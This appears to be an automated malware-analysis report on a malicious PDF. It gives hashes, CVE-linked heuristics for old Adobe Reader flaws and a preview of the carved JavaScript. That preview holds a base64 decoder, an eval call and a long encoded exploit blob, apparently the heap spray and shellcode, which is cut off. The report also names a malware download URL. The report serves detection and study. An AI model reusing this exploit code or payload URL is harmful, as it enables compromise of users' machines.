PDF malware analysis — malicious · 7d334eab73382b0f

MALICIOUS

PDF

7.6 KB First seen: 2012-07-12

MD5: 3496af94c7ae62efd0f8a5022a8eadc5 SHA-1: 8bc00ef508c65fa35604a54a0a714126ef63f282 SHA-256: 7d334eab73382b0f1d3a03b8a97f3ed6d90470cefbc8a1581f5b9dc55be9089f

576 Risk Score

Malware Insights

MITRE ATT&CK

T1059.007 JavaScript T1203 Exploitation for Client Execution

The PDF file contains obfuscated JavaScript that exploits multiple CVEs in Adobe Reader (CVE-2009-0927, CVE-2007-5659, CVE-2008-2992). The script decodes a second-stage payload and contains an embedded URL, http://blackmelisa.com/el/getexe.php?spl=pdf, which is likely used to download and execute a malicious executable. The ML classifier also flagged this PDF with high confidence.

Machine Learning

Nyx PDF Classifier malicious score 1.0000

Heuristics 11

Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927

PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659

PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992

PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH

A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT

One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
JavaScript action low 3 related findings PDF_JAVASCRIPT

PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER

PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
Matched line in script
```
eval(decode64(aasd));
```
PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL

Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
Embedded JS stream low PDF_JS

PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://blackmelisa.com/el/getexe.php?spl=pdf Referenced by PDF JavaScript

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`javascript_obj0009_000.js`	pdf-javascript-stream	PDF /JS object 9 at offset 0xD6	19644 bytes
SHA-256: `fe1010d81313dcdfc175b2451dddcbf19674d4ca5f2107257eeee2aeff0bb3c2`
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 4 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script First 1,000 lines of the extracted script var keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="; function decode64(input) { var output = ""; var chr1, chr2, chr3; var enc1, enc2, enc3, enc4; var i = 0; input = input.replace(/[^A-Za-z0-9\+\/\=]/g, ""); do { enc1 = keyStr.indexOf(input.charAt(i++)); enc2 = keyStr.indexOf(input.charAt(i++)); enc3 = keyStr.indexOf(input.charAt(i++)); enc4 = keyStr.indexOf(input.charAt(i++)); chr1 = (enc1 << 2) \| (enc2 >> 4); chr2 = ((enc2 & 15) << 4) \| (enc3 >> 2); chr3 = ((enc3 & 3) << 6) \| enc4; output = output + String.fromCharCode(chr1); if (enc3 != 64) { output = output + String.fromCharCode(chr2); } if (enc4 != 64) { output = output + String.fromCharCode(chr3); } } while (i < input.length); return output; } var aasd = decode64("RFFwMllYSWdTRUoxTVdKUWQyRlBaekpQYzBsQlZpQTlJRzVsZHlCQmNuSmhlU2dwT3cwS2RtRnlJR2RRZVVoR1FYQktSbEF4Tm1sVGExQTdEUXBtZFc1amRHbHZiaUJYWlZCRk5VMXdVelJ5Y1hZd01WRkpLRkJQV21aYVQzcHZiekYwVjFObGR6WXNJR05OU2sxcU9YQnRNV1pwTUdjd1V6Y3BlM2RvYVd4bElDaFFUMXBtV2s5NmIyOHhkRmRUWlhjMkxteGxibWQwYUNBcUlESWdQQ0JqVFVwTmFqbHdiVEZtYVRCbk1GTTNLWHRRVDFwbVdrOTZiMjh4ZEZkVFpYYzJJQ3M5SUZCUFdtWmFUM3B2YnpGMFYxTmxkelk3ZlZCUFdtWmFUM3B2YnpGMFYxTmxkellnUFNCUVQxcG1Xazk2YjI4eGRGZFRaWGMyTG5OMVluTjBjbWx1Wnlnd0xDQmpUVXBOYWpsd2JURm1hVEJuTUZNM0lDOGdNaWs3RFFvZ0lISmxkSFZ5YmlCUVQxcG1Xazk2YjI4eGRGZFRaWGMyTzMwTkNtWjFibU4wYVc5dUlFMTNOMjB3UmpsVVduQktaekZ2UWxNb1VHTjBlbk15VkZKeWJUbHlZa3BMY1NsN0RRcDJZWElnVW1wSlJXeHRaMlJaY0ZZd01IQjZVaUE5SUhWdVpYTmpZWEJsS0NJbGRUa3dPVEFsZFRrd09UQWlLVHNOQ25aaGNpQnllVUozZVU1WFVFNDJjM2RNZFZjM0lEMGdVR04wZW5NeVZGSnliVGx5WWtwTGNTQXRJREI0TnpBd01EQXdPdzBLZG1GeUlGTlhiVWQwU21aSFQxbEVhMU5xY1VrZ1BTQjFibVZ6WTJGd1pTZ2lKWFZCTVRZMEpYVXdNREU0SlhVd01EQXdKWFUwTURoQ0pYVTRRak13SlhVMU5EUXdKWFUwTURoQ0pYVTRRakEwSlhVd05EUXdKWFUwTURoQ0pYVXdSREEwSlhVd01ESXdKWFV3TURJd0pYVTNRek5FSlhVM056QXdKWFUzTkRBd0pYVkRNekF4SlhWRE1ETXpKWFU0UWpZMEpYVXpNRFF3SlhVd1F6YzRKWFUwTURoQ0pYVTRRakJESlhVeFF6Y3dKWFU0UWtGRUpYVXdPRFU0SlhVd09VVkNKWFUwTURoQ0pYVTRSRE0wSlhVM1F6UXdKWFUxT0RoQ0pYVTJRVE5ESlhVMVFUUkZKWFZGTWtReEpYVkZNakpDSlhWRlF6aENKWFUwTlVNM0pYVTJSVEV3SlhVMk5USkZKWFZETnpjNEpYVXhORFExSlhVd01VWkdKWFV3TURBd0pYVTBOVU0zSlhVd01EQXdKWFV3TURBd0pYVkZRakF3SlhVMVFUUkdKWFU0TXpVeUpYVTFOa1ZCSlhVMU5UZzVKWFUxTmpFNEpYVTRRalUzSlhVelF6Y3pKWFUzTkRoQ0pYVTNPRE16SlhWR016QXpKWFU0UWpVMkpYVXlNRGMySlhWR016QXpKWFZET1RNekpYVTFNRFE1SlhWQlJEUXhKWFZHUmpNekpYVXdSak0ySlhVeE5FSkZKWFV6T0RBekpYVTNORVl5SlhWRE1UQTRKWFV3UkVOR0pYVkdRVEF6SlhWRlFqUXdKWFUxT0VWR0pYVkdPRE5DSlhWRk5UYzFKWFU0UWpWRkpYVXlORFEySlhWRE16QXpKWFU0UWpZMkpYVTBPREJESlhVMU5qaENKWFV3TXpGREpYVTRRa1F6SlhVNFFUQTBKWFZETXpBekpYVTFSVFZHSlhWRE16VXdKWFUzUkRoRUpYVTFOekZESlhWQ09EVXlKWFZEUVRNekpYVTFRamhCSlhWQk1rVTRKWFZHUmtaR0pYVXpNa1pHSlhVNFFrTXdKWFZHTWtZM0pYVTBSa0ZGSlhVME5UaENKWFZCUWpFd0pYVTVPRFkySlhWQlFqWTJKWFZETURNekpYVTJNVUk0SlhVd01EWTBKWFUxTURBd0pYVTFORFk0SlhVM01qWTRKWFV6TlRZMUpYVXhRekkwSlhVM05EWTVKWFUxTkRVd0pYVkNPRFV6SlhWR1EwRkJKWFUzUXpCRUpYVTFOVVpHSlhVNE16RTRKWFV3UTBNMEpYVkNNRFV3SlhVNFFUWkRKWFU1T0VVd0pYVTJPRFV3SlhVMlJUWkdKWFUyTkRKRkpYVTNOVFk0SlhVMlF6Y3lKWFUxTkRaRUpYVTRSVUk0SlhVd1JUUkZKWFZHUmtWREpYVXhPRFUxSlhWRE5EZ3pKWFU1TXpCREpYVXpNelV3SlhVMU1FTXdKWFUxTmpVd0pYVTFOVGhDSlhVd016RTRKWFV4TkRVMUpYVTFNRFV5SlhVek5rSTRKWFV5UmpGQkpYVkdSamN3SlhVeE9EVTFKWFU0TXpWQ0pYVXdNRGRFSlhVd1JqQXhKWFU1UlRnMUpYVXdNREF3SlhVMlFUQXdKWFUyT0RBd0pYVXdNRGd3SlhVd01EQXdKWFV3TXpaQkpYVXdNRFpCSlhVd016WkJKWFV3TURZNEpYVXdNREF3SlhVMU5rTXdKWFZCTlVJNEpYVXdNREUzSlhWR1JqZERKWFV4T0RVMUpYVTBOVGc1SlhVMlFUQTBKWFUyT0RBMEpYVXhNREF3SlhVd01EQXdKWFV3TURZNEpYVXdPREF3SlhVMlFUQXdKWFZDT0RBd0pYVkRRVFUwSlhVNU1VRkdKWFUxTlVaR0pYVTRPVEU0SlhVd1F6UTFKWFUyUVRVd0pYVTRSREF3SlhVd09EUkVKWFUyT0RVeEpYVXdNREF3SlhVd01EQTRKWFZHUmpVd0pYVXdORGMxSlhVeE5rSTRKWFZHUVRZMUpYVkdSakV3SlhVeE9EVTFKWFU0UWpWR0pYVTRNekUzSlhVd05FTTNKWFUwUkRoQ0pYVTRNekE0SlhVd05FVTVKWFZCTjBVNEpYVXdNREF3SlhVMlFUQXdKWFUyUVRBd0pYVTJRVEF3SlhWR1JqQXdKWFV3TkRjMUpYVkJRMEk0SlhWRVFUQTRKWFZHUmpjMkpYVXhPRFUxSlhVd01EWkJKWFUwUkRoRUpYVTFNVEE0SlhVM05VWkdKWFZHUmpBNEpYVXdRemMxSlhVd05EZ3pKWFV3TkRJMEpYVTNOVVpHSlhWQ09EQTBKWFUzT1RGR0pYVkZPREJCSlhVMU5VWkdKWFZHUmpFNEpYVXdORGMxSlhWR1FrSTRKWFZHUkRrM0pYVkdSakJHSlhVeE9EVTFKWFUwTlVNM0pYVXdNakF3SlhVd01EQXdKWFUxTnpBd0pYVkNPRFUySlhWR1JUazRKWFV3UlRoQkpYVTFOVVpHSlhWRlFqRTRKWFV4T0RKQkpYVkdPVEpCSlhWRU1rSTNKWFZDTXpjM0pYVTBOVEF4SlhVNU1qaEJKWFZCUkVJM0pYVTFSRFV3SlhVMk4wVTBKWFZGTmtZMUpYVXhRVU0zSlhWQlFrSkdKWFV4TURGRkpYVTNOalF5SlhWQk1VRXlKWFUyTXpVMEpYVTNRakE1SlhWQ01EZzVKWFU1TjBZMEpYVTNNelJGSlhVelJqa3pKWFU0TTBZeEpYVXdNRGRFSlhVM05EQXlKWFZETnpZd0pYVXdNRFExSlhVd01EQXhKWFV3TURBd0pYVTBOVU0zSlhVM09URXdKWFUyTlRKRkpYVkROemM0SlhVeE5EUTFKWFV3TVRjeUpYVXdNREF3SlhVM1JEaENKWFV3TXpFNEpYVXhORGRFSlhVeU5rSTVKWFV3TURBd0pYVTRRakF3SlhWR1F6VTNKWFV3TlVVNEpYVXdNREF3SlhWRk9UQXdKWFZHUlRkREpYVkdSa1pHSlhWRE1ETXpKWFV3TnpoQkpYVkRPRVF5SlhWRE1UTXlKWFZFTUVZMkpYVkROVE15SlhWRE1qTXlKWFZETmpNeUpYVkRNRVF5SlhWRE1UQXlKWFZETlRBeUpYVkRNakF5SlhWRE5qQXlKWFZET0VReUpYVkRNVEpCSlhWRE5USkJKWFZFTUVZMkpYVkRNakpCSlhWRE5qSkJKWFZETUVReUpYVkRNa1F6SlhWRFFUQkdKWFV3TnpnNEpYVTBPVFEzSlhWRFJUYzFKWFZETTBNekpYVTNORFk0SlhVM01EYzBKWFV5UmpOQkpYVTJNakpHSlhVMk1UWkRKWFUyUWpZekpYVTJOVFpFSlhVMk9UWkRKWFUyTVRjekpYVTJNekpGSlhVMlJEWkdKWFUyTlRKR0pYVXlSalpESlhVMk5UWTNKWFUyTlRjMEpYVTJOVGM0SlhVM01ESkZKWFUzTURZNEpYVTNNek5HSlhVMlF6Y3dKWFUzTURORUpYVTJOalkwSWlrN0RRcDNhR2xzWlNBb1VtcEpSV3h0WjJSWmNGWXdNSEI2VWk1c1pXNW5kR2c4YzJ4aFkydHpjR0ZqWlNrZ1VtcEpSV3h0WjJSWmNGWXdNSEI2VWlzOVVtcEpSV3h0WjJSWmNGWXdNSEI2VWpzTkNsTlhiVWQwU21aSFQxbEVhMU5xY1VrZ1BTQlFZM1I2Y3pKVVVuSnRPWEppU2t0eExuTjFZbk4wY21sdVp5Z3dMQ0JRWTNSNmN6SlVVbkp0T1hKaVNrdHhLVHQ5RFFwbWRXNWpkR2x2YmlCRk0yMDRVV3gyUm0xd2JVVlVhVXB0S0Zka09XOXRlR0p0WkVwM1MxTlBVakVwZXcwS0lDQjJZWElnZVVVNWNqRTFOMjEwY3pGT1lrc3daeUE5SURCNE1HTXdZekJqTUdNN2RtRnlJSFpKVld0SE5sZDFVRk5HY25KbmMwa2dQU0IxYm1WelkyRndaU2dpSlhWQk1UWTBKWFV3TURFNEpYVXdNREF3SlhVME1EaENKWFU0UWpNd0pYVTFORFF3SlhVME1EaENKWFU0UWpBMEpYVXdORFF3SlhVME1EaENKWFV3UkRBMEpYVXdNREl3SlhVd01ESXdKWFUzUXpORUpYVTNOekF3SlhVM05EQXdKWFZETXpBeEpYVkRNRE16SlhVNFFqWTBKWFV6TURRd0pYVXdRemM0SlhVME1EaENKWFU0UWpCREpYVXhRemN3SlhVNFFrRkVKWFV3T0RVNEpYVXdPVVZDSlhVME1EaENKWFU0UkRNMEpYVTNRelF3SlhVMU9EaENKWFUyUVROREpYVTFRVFJGSlhWRk1rUXhKWFZGTWpKQ0pYVkZRemhDSlhVME5VTTNKWFUyUlRFd0pYVTJOVEpGSlhWRE56YzRKWFV4TkRRMUpYVXdNVVpHSlhVd01EQXdKWFUwTlVNM0pYVXdNREF3SlhVd01EQXdKWFZGUWpBd0pYVTFRVFJHSlhVNE16VXlKWFUxTmtWQkpYVTFOVGc1SlhVMU5qRTRKWFU0UWpVM0pYVXpRemN6SlhVM05EaENKWFUzT0RNekpYVkdNekF6SlhVNFFqVTJKWFV5TURjMkpYVkdNekF6SlhWRE9UTXpKWFUxTURRNUpYVkJSRFF4SlhWR1JqTXpKWFV3UmpNMkpYVXhORUpGSlhVek9EQXpKWFUzTkVZeUpYVkRNVEE0SlhVd1JFTkdKWFZHUVRBekpYVkZRalF3SlhVMU9FVkdKWFZHT0ROQ0pYVkZOVGMxSlhVNFFqVkZKWFV5TkRRMkpYVkRNekF6SlhVNFFqWTJKWFUwT0RCREpYVTFOamhDSlhVd016RkRKWFU0UWtRekpYVTRRVEEwSlhWRE16QXpKWFUxUlRWR0pYVkRNelV3SlhVM1JEaEVKWFUxTnpGREpYVkNPRFV5SlhWRFFUTXpKWFUxUWpoQkpYVkJNa1U0SlhWR1JrWkdKWFV6TWtaR0pYVTRRa013SlhWR01rWTNKWFUwUmtGRkpYVTBOVGhDSlhWQlFqRXdKWFU1T0RZMkpYVkJRalkySlhWRE1ETXpKWFUyTVVJNEpYVXdNRFkwSlhVMU1EQXdKWFUxTkRZNEpYVTNNalk0SlhVek5UWTFKWFV4UXpJMEpYVTNORFk1SlhVMU5EVXdKWFZDT0RVekpYVkdRMEZCSlhVM1F6QkVKWFUxTlVaR0pYVTRNekU0SlhVd1EwTTBKWFZDTURVd0pYVTRRVFpESlhVNU9FVXdKWFUyT0RVd0pYVTJSVFpHSlhVMk5ESkZKWFUzTlRZNEpYVTJRemN5SlhVMU5EWkVKWFU0UlVJNEpYVXdSVFJGSlhWR1JrVkRKWFV4T0RVMUpYVkRORGd6SlhVNU16QkRKWFV6TXpVd0pYVTFNRU13SlhVMU5qVXdKWFUxTlRoQ0pYVXdNekU0SlhVeE5EVTFKWFUxTURVeUpYVXpOa0k0SlhVeVJqRkJKWFZHUmpjd0pYVXhPRFUxSlhVNE16VkNKWFV3TURkRUpYVXdSakF4SlhVNVJUZzFKWFV3TURBd0pYVTJRVEF3SlhVMk9EQXdKWFV3TURnd0pYVXdNREF3SlhVd016WkJKWFV3TURaQkpYVXdNelpCSlhVd01EWTRKWFV3TURBd0pYVTFOa013SlhWQk5VSTRKWFV3TURFM0pYVkdSamRESlhVeE9EVTFKWFUwTlRnNUpYVTJRVEEwSlhVMk9EQTBKWFV4TURBd0pYVXdNREF3SlhVd01EWTRKWFV3T0RBd0pYVTJRVEF3SlhWQ09EQXdKWFZEUVRVMEpYVTVNVUZHSlhVMU5VWkdKWFU0T1RFNEpYVXdRelExSlhVMlFUVXdKWFU0UkRBd0pYVXdPRFJFSlhVMk9EVXhKWFV3TURBd0pYVXdNREE0SlhWR1JqVXdKWFV3TkRjMUpYVXhOa0k0SlhWR1FUWTFKWFZHUmpFd0pYVXhPRFUxSlhVNFFqVkdKWFU0TXpFM0pYVXdORU0zSlhVMFJEaENKWFU0TXpBNEpYVXdORVU1SlhWQk4wVTRKWFV3TURBd0pYVTJRVEF3SlhVMlFUQXdKWFUyUVRBd0pYVkdSakF3SlhVd05EYzFKWFZCUTBJNEpYVkVRVEE0SlhWR1JqYzJKWFV4T0RVMUpYVXdNRFpCSlhVMFJEaEVKWFUxTVRBNEpYVTNOVVpHSlhWR1JqQTRKWFV3UXpjMUpYVXdORGd6SlhVd05ESTBKWFUzTlVaR0pYVkNPREEwSlhVM09URkdKWFZGT0RCQkpYVTFOVVpHSlhWR1JqRTRKWFV3TkRjMUpYVkdRa0k0SlhWR1JEazNKWFZHUmpCR0pYVXhPRFUxSlhVME5VTTNKWFV3TWpBd0pYVXdNREF3SlhVMU56QXdKWFZDT0RVMkpYVkdSVGs0SlhVd1JUaEJKWFUxTlVaR0pYVkZRakU0SlhVeE9ESkJKWFZHT1RKQkpYVkVNa0kzSlhWQ016YzNKWFUwTlRBeEpYVTVNamhCSlhWQlJFSTNKWFUxUkRVd0pYVTJOMFUwSlhWRk5rWTFKWFV4UVVNM0pYVkJRa0pHSlhVeE1ERkZKWFUzTmpReUpYVkJNVUV5SlhVMk16VTBKWFUzUWpBNUpYVkNNRGc1SlhVNU4wWTBKWFUzTXpSRkpYVXpSamt6SlhVNE0wWXhKWFV3TURkRUpYVTNOREF5SlhWRE56WXdKWFV3TURRMUpYVXdNREF4SlhVd01EQXdKWFUwTlVNM0pYVTNPVEV3SlhVMk5USkZKWFZETnpjNEpYVXhORFExSlhVd01UY3lKWFV3TURBd0pYVTNSRGhDSlhVd016RTRKWFV4TkRkRUpYVXlOa0k1SlhVd01EQXdKWFU0UWpBd0pYVkdRelUzSlhVd05VVTRKWFV3TURBd0pYVkZPVEF3SlhWR1JUZERKWFZHUmtaR0pYVkRNRE16SlhVd056aEJKWFZET0VReUpYVkRNVE15SlhWRU1FWTJKWFZETlRNeUpYVkRNak15SlhWRE5qTXlKWFZETUVReUpYVkRNVEF5SlhWRE5UQXlKWFZETWpBeUpYVkROakF5SlhWRE9FUXlKWFZETVRKQkpYVkROVEpCSlhWRU1FWTJKWFZETWpKQkpYVkROakpCSlhWRE1FUXlKWFZETWtRekpYVkRRVEJHSlhVd056ZzRKWFUwT1RRM0pYVkRSVGMxSlhWRE0wTXpKWFUzTkRZNEpYVTNNRGMwSlhVeVJqTkJKWFUyTWpKR0pYVTJNVFpESlhVMlFqWXpKWFUyTlRaRUpYVTJPVFpESlhVMk1UY3pKWFUyTXpKRkpYVTJSRFpHSlhVMk5USkdKWFV5UmpaREpYVTJOVFkzSlhVMk5UYzBKWFUyTlRjNEpYVTNNREpGSlhVM01EWTRKWFUzTXpOR0pYVTJRemN3SlhVM01ETkVKWFUyTmpZMElpazdhV1lnS0Zka09XOXRlR0p0WkVwM1MxTlBVakVnUFQwZ01TbDdlVVU1Y2pFMU4yMTBjekZPWWtzd1p5QTlJREI0TXpBek1ETXdNekE3ZGtsVmEwYzJWM1ZRVTBaeWNtZHpTU0E5SUhWdVpYTmpZWEJsS0NJbGRVRXhOalFsZFRBd01UZ2xkVEF3TURBbGRUUXdPRUlsZFRoQ016QWxkVFUwTkRBbGRUUXdPRUlsZFRoQ01EUWxkVEEwTkRBbGRUUXdPRUlsZFRCRU1EUWxkVEF3TWpBbGRUQXdNakFsZFRkRE0wUWxkVGMzTURBbGRUYzBNREFsZFVNek1ERWxkVU13TXpNbGRUaENOalFsZFRNd05EQWxkVEJETnpnbGRUUXdPRUlsZFRoQ01FTWxkVEZETnpBbGRUaENRVVFsZFRBNE5UZ2xkVEE1UlVJbGRUUXdPRUlsZFRoRU16UWxkVGRETkRBbGRUVTRPRUlsZFRaQk0wTWxkVFZCTkVVbGRVVXlSREVsZFVVeU1rSWxkVVZET0VJbGRUUTFRemNsZFRaRk1UQWxkVFkxTWtVbGRVTTNOemdsZFRFME5EVWxkVEF4UmtZbGRUQXdNREFsZFRRMVF6Y2xkVEF3TURBbGRUQXdNREFsZFVWQ01EQWxkVFZCTkVZbGRUZ3pOVElsZFRVMlJVRWxkVFUxT0RrbGRUVTJNVGdsZFRoQ05UY2xkVE5ETnpNbGRUYzBPRUlsZFRjNE16TWxkVVl6TURNbGRUaENOVFlsZFRJd056WWxkVVl6TURNbGRVTTVNek1sZFRVd05Ea2xkVUZFTkRFbGRVWkdNek1sZFRCR016WWxkVEUwUWtVbGRUTTRNRE1sZFRjMFJqSWxkVU14TURnbGRUQkVRMFlsZFVaQk1ETWxkVVZDTkRBbGRUVTRSVVlsZFVZNE0wSWxkVVUxTnpVbGRUaENOVVVsZFRJME5EWWxkVU16TURNbGRUaENOallsZFRRNE1FTWxkVFUyT0VJbGRUQXpNVU1sZFRoQ1JETWxkVGhCTURRbGRVTXpNRE1sZFRWRk5VWWxkVU16TlRBbGRUZEVPRVFsZFRVM01VTWxkVUk0TlRJbGRVTkJNek1sZFRWQ09FRWxkVUV5UlRnbGRVWkdSa1lsZFRNeVJrWWxkVGhDUXpBbGRVWXlSamNsZFRSR1FVVWxkVFExT0VJbGRVRkNNVEFsZFRrNE5qWWxkVUZDTmpZbGRVTXdNek1sZFRZeFFqZ2xkVEF3TmpRbGRUVXdNREFsZFRVME5qZ2xkVGN5TmpnbGRUTTFOalVsZFRGRE1qUWxkVGMwTmprbGRUVTBOVEFsZFVJNE5UTWxkVVpEUVVFbGRUZERNRVFsZFRVMVJrWWxkVGd6TVRnbGRUQkRRelFsZFVJd05UQWxkVGhCTmtNbGRUazRSVEFsZFRZNE5UQWxkVFpGTmtZbGRUWTBNa1VsZFRjMU5qZ2xkVFpETnpJbGRUVTBOa1FsZFRoRlFqZ2xkVEJGTkVVbGRVWkdSVU1sZFRFNE5UVWxkVU0wT0RNbGRUa3pNRU1sZFRNek5UQWxkVFV3UXpBbGRUVTJOVEFsZFRVMU9FSWxkVEF6TVRnbGRURTBOVFVsZFRVd05USWxkVE0yUWpnbGRUSkdNVUVsZFVaR056QWxkVEU0TlRVbGRUZ3pOVUlsZFRBd04wUWxkVEJHTURFbGRUbEZPRFVsZFRBd01EQWxkVFpCTURBbGRUWTRNREFsZFRBd09EQWxkVEF3TURBbGRUQXpOa0VsZFRBd05rRWxkVEF6TmtFbGRUQXdOamdsZFRBd01EQWxkVFUyUXpBbGRVRTFRamdsZFRBd01UY2xkVVpHTjBNbGRURTROVFVsZFRRMU9Ea2xkVFpCTURRbGRUWTRNRFFsZFRFd01EQWxkVEF3TURBbGRUQXdOamdsZFRBNE1EQWxkVFpCTURBbGRVSTRNREFsZFVOQk5UUWxkVGt4UVVZbGRUVTFSa1lsZFRnNU1UZ2xkVEJETkRVbGRUWkJOVEFsZFRoRU1EQWxkVEE0TkVRbGRUWTROVEVsZFRBd01EQWxkVEF3TURnbGRVWkdOVEFsZFRBME56VWxkVEUyUWpnbGRVWkJOalVsZFVaR01UQWxkVEU0TlRVbGRUaENOVVlsZFRnek1UY2xkVEEwUXpjbGRUUkVPRUlsZFRnek1EZ2xkVEEwUlRrbGRVRTNSVGdsZFRBd01EQWxkVFpCTURBbGRUWkJNREFsZFRaQk1EQWxkVVpHTURBbGRUQTBOelVsZFVGRFFqZ2xkVVJCTURnbGRVWkdOellsZFRFNE5UVWxkVEF3TmtFbGRUUkVPRVFsZFRVeE1EZ2xkVGMxUmtZbGRVWkdNRGdsZFRCRE56VWxkVEEwT0RNbGRUQTBNalFsZFRjMVJrWWxkVUk0TURRbGRUYzVNVVlsZFVVNE1FRWxkVFUxUmtZbGRVWkdNVGdsZFRBME56VWxkVVpDUWpnbGRVWkVPVGNsZFVaR01FWWxkVEU0TlRVbGRUUTFRemNsZFRBeU1EQWxkVEF3TURBbGRUVTNNREFsZFVJNE5UWWxkVVpGT1RnbGRUQkZPRUVsZFRVMVJrWWxkVVZDTVRnbGRURTRNa0VsZFVZNU1rRWxkVVF5UWpjbGRVSXpOemNsZFRRMU1ERWxkVGt5T0VFbGRVRkVRamNsZFRWRU5UQWxkVFkzUlRRbGRVVTJSalVsZFRGQlF6Y2xkVUZDUWtZbGRURXdNVVVsZFRjMk5ESWxkVUV4UVRJbGRUWXpOVFFsZFRkQ01Ea2xkVUl3T0RrbGRUazNSalFsZFRjek5FVWxkVE5HT1RNbGRUZ3pSakVsZFRBd04wUWxkVGMwTURJbGRVTTNOakFsZFRBd05EVWxkVEF3TURFbGRUQXdNREFsZFRRMVF6Y2xkVGM1TVRBbGRUWTFNa1VsZFVNM056Z2xkVEUwTkRVbGRUQXhOeklsZFRBd01EQWxkVGRFT0VJbGRUQXpNVGdsZFRFME4wUWxkVEkyUWprbGRUQXdNREFsZFRoQ01EQWxkVVpETlRjbGRUQTFSVGdsZFRBd01EQWxkVVU1TURBbGRVWkZOME1sZFVaR1JrWWxkVU13TXpNbGRUQTNPRUVsZFVNNFJESWxkVU14TXpJbGRVUXdSallsZFVNMU16SWxkVU15TXpJbGRVTTJNeklsZFVNd1JESWxkVU14TURJbGRVTTFNRElsZFVNeU1ESWxkVU0yTURJbGRVTTRSRElsZFVNeE1rRWxkVU0xTWtFbGRVUXdSallsZFVNeU1rRWxkVU0yTWtFbGRVTXdSRElsZFVNeVJETWxkVU5CTUVZbGRUQTNPRGdsZFRRNU5EY2xkVU5GTnpVbGRVTXpRek1sZFRjME5qZ2xkVGN3TnpRbGRUSkdNMEVsZFRZeU1rWWxkVFl4TmtNbGRUWkNOak1sZFRZMU5rUWxkVFk1TmtNbGRUWXhOek1sZFRZek1rVWxkVFpFTmtZbGRUWTFNa1lsZFRKR05rTWxkVFkxTmpjbGRUWTFOelFsZFRZMU56Z2xkVGN3TWtVbGRUY3dOamdsZFRjek0wWWxkVFpETnpBbGRUY3dNMFFsZFRZMk5qUWlLVHQ5RFFvZ0lHVnNjMlVnYVdZZ0tGZGtPVzl0ZUdKdFpFcDNTMU5QVWpFZ1BUMGdNaWw3ZGtsVmEwYzJWM1ZRVTBaeWNtZHpTU0E5SUhWdVpYTmpZWEJsS0NJbGRVRXhOalFsZFRBd01UZ2xkVEF3TURBbGRUUXdPRUlsZFRoQ016QWxkVFUwTkRBbGRUUXdPRUlsZFRoQ01EUWxkVEEwTkRBbGRUUXdPRUlsZFRCRU1EUWxkVEF3TWpBbGRUQXdNakFsZFRkRE0wUWxkVGMzTURBbGRUYzBNREFsZFVNek1ERWxkVU13TXpNbGRUaENOalFsZFRNd05EQWxkVEJETnpnbGRUUXdPRUlsZFRoQ01FTWxkVEZETnpBbGRUaENRVVFsZFRBNE5UZ2xkVEE1UlVJbGRUUXdPRUlsZFRoRU16UWxkVGRETkRBbGRUVTRPRUlsZFRaQk0wTWxkVFZCTkVVbGRVVXlSREVsZFVVeU1rSWxkVVZET0VJbGRUUTFRemNsZFRaRk1UQWxkVFkxTWtVbGRVTTNOemdsZFRFME5EVWxkVEF4UmtZbGRUQXdNREFsZFRRMVF6Y2xkVEF3TURBbGRUQXdNREFsZFVWQ01EQWxkVFZCTkVZbGRUZ3pOVElsZFRVMlJVRWxkVFUxT0RrbGRUVTJNVGdsZFRoQ05UY2xkVE5ETnpNbGRUYzBPRUlsZFRjNE16TWxkVVl6TURNbGRUaENOVFlsZFRJd056WWxkVVl6TURNbGRVTTVNek1sZFRVd05Ea2xkVUZFTkRFbGRVWkdNek1sZFRCR016WWxkVEUwUWtVbGRUTTRNRE1sZFRjMFJqSWxkVU14TURnbGRUQkVRMFlsZFVaQk1ETWxkVVZDTkRBbGRUVTRSVVlsZFVZNE0